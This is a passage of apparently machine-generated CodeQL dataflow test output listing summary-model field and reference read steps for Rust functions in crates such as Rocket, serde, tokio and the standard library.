[summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::into_inner | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::into_inner | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::as_str | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::as_str | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::as_str | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::as_str | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::into_inner | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[self].Field[1] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[self].Field[1] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::file | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[self].Field[1] in repo:https://github.com/rwf2/Rocket:rocket::_::::file | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::file_mut | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[self].Field[1] in repo:https://github.com/rwf2/Rocket:rocket::_::::file_mut | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::take_file | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[self].Field[1] in repo:https://github.com/rwf2/Rocket:rocket::_::::take_file | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::take | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::take | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::poll_next | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::poll_next | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::into_inner | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::into_inner | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::inner | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::deref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::deref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::media_type | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::media_type | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::weight | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[self].Field[1] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::weight | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::weight_or | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[self].Field[1] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::weight_or | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::media_type | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::media_type | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::borrow | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::borrow | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::as_ref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::as_ref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::as_str | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::as_str | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::split_at_byte | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in repo:https://github.com/rwf2/Rocket:rocket_http::_::::split_at_byte | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::into_string | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::into_string | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::render | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::render | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::render | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::render | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::source | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::source | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/servo/rust-smallvec:smallvec::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/servo/rust-smallvec:smallvec::_::::clone | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/servo/rust-smallvec:smallvec::_::::retain | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in repo:https://github.com/servo/rust-smallvec:smallvec::_::::retain | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::into_inner | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::as_ref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::as_ref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::<&[u8] as crate::io::async_buf_read::AsyncBufRead>::consume | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in repo:https://github.com/tokio-rs/tokio:tokio::_::<&[u8] as crate::io::async_buf_read::AsyncBufRead>::consume | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::<&[u8] as crate::io::async_buf_read::AsyncBufRead>::poll_fill_buf | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::<&[u8] as crate::io::async_buf_read::AsyncBufRead>::poll_fill_buf | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::<&crate::task::wake::Waker as crate::sync::task::atomic_waker::WakerRef>::into_waker | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::<&crate::task::wake::Waker as crate::sync::task::atomic_waker::WakerRef>::into_waker | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_inner_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_inner_mut | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_usize | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_usize | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::is_leader | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::is_leader | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_ref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_ref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_ref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_ref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_ref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_ref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_ref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_ref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_raw_value | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_raw_value | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::deref | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::is_leader | BarrierWaitResult | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::barrier::BarrierWaitResult(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::is_leader | -| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::is_leader | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::is_leader | -| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::collections::linked_list::LinkedList::tail] in lang:alloc::_::::append | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::collections::linked_list::LinkedList::tail].Reference in lang:alloc::_::::append | -| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::num::bignum::Big32x40::base] in lang:core::_::crate::num::flt2dec::strategy::dragon::mul_pow10 | element | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::num::bignum::Big32x40::base].Element in lang:core::_::crate::num::flt2dec::strategy::dragon::mul_pow10 | -| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in repo:https://github.com/hyperium/hyper:hyper::_::::from | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)].Field[0] in repo:https://github.com/hyperium/hyper:hyper::_::::from | -| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::from_source | element | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)].Element in repo:https://github.com/rwf2/Rocket:rocket_http::_::::from_source | -| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::path::PathBuf::inner] in lang:std::_::::from | PathBuf | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::path::PathBuf::inner].Field[crate::path::PathBuf::inner] in lang:std::_::::from | -| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::path::PathBuf::inner] in lang:std::_::::from_str | PathBuf | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::path::PathBuf::inner].Field[crate::path::PathBuf::inner] in lang:std::_::::from_str | -| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::rc::Rc::alloc] in lang:alloc::_::::downgrade | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::rc::Rc::alloc].Reference in lang:alloc::_::::downgrade | -| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::Arc::alloc] in lang:alloc::_::::downgrade | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::Arc::alloc].Reference in lang:alloc::_::::downgrade | -| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::poison::mutex::MutexGuard::lock] in lang:std::_::crate::sync::poison::mutex::guard_lock | Mutex.inner | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::poison::mutex::MutexGuard::lock].Field[crate::sync::poison::mutex::Mutex::inner] in lang:std::_::crate::sync::poison::mutex::guard_lock | -| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::poison::mutex::MutexGuard::lock] in lang:std::_::crate::sync::poison::mutex::guard_poison | Mutex.poison | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::poison::mutex::MutexGuard::lock].Field[crate::sync::poison::mutex::Mutex::poison] in lang:std::_::crate::sync::poison::mutex::guard_poison | -| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::poison::rwlock::RwLockWriteGuard::lock] in lang:std::_::::downgrade | RwLock.inner | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::poison::rwlock::RwLockWriteGuard::lock].Field[crate::sync::poison::rwlock::RwLock::inner] in lang:std::_::::downgrade | -| file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::as_mut_ptr | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference.Reference in lang:alloc::_::::as_mut_ptr | -| file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::as_ptr | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference.Reference in lang:alloc::_::::as_ptr | -| file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::unwrap_or_clone | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference.Reference in lang:alloc::_::::unwrap_or_clone | -| file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::unwrap_or_clone | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference.Reference in lang:alloc::_::::unwrap_or_clone | -| file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::from | Some | file://:0:0:0:0 | [summary] read: Argument[0].Reference.Field[crate::option::Option::Some(0)] in lang:core::_::::from | -| file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::index | element | file://:0:0:0:0 | [summary] read: Argument[0].Reference.Element in lang:core::_::::index | -| file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::index_mut | element | file://:0:0:0:0 | [summary] read: Argument[0].Reference.Element in lang:core::_::::index_mut | -| file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:std::_::::advance_slices | element | file://:0:0:0:0 | [summary] read: Argument[0].Reference.Element in lang:std::_::::advance_slices | -| file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:std::_::::advance_slices | element | file://:0:0:0:0 | [summary] read: Argument[0].Reference.Element in lang:std::_::::advance_slices | -| file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::FreeFunctions] in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | element | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::FreeFunctions].Element in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | -| file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::FreeFunctions] in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | element | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::FreeFunctions].Element in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | -| file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::SourceFile] in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | element | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::SourceFile].Element in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | -| file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::SourceFile] in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | element | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::SourceFile].Element in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | -| file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::TokenStream] in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | element | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::TokenStream].Element in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | -| file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::TokenStream] in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | element | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::TokenStream].Element in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:alloc::_::::index | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Element in lang:alloc::_::::index | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:alloc::_::::index_mut | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Element in lang:alloc::_::::index_mut | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::try_capture | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Reference in lang:core::_::::try_capture | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::index | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Element in lang:core::_::::index | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::index_mut | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Element in lang:core::_::::index_mut | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::next | Char | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::char::EscapeDebugInner::Char(0)] in lang:core::_::::next | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::into_inner | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::option::Option::Some(0)] in lang:core::_::::into_inner | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::nth | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Element in lang:core::_::::nth | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::nth | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Element in lang:core::_::::nth | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::remainder | RangeFrom | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::ops::range::RangeFrom::start] in lang:core::_::::remainder | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::nth | element | file://:0:0:0:0 | 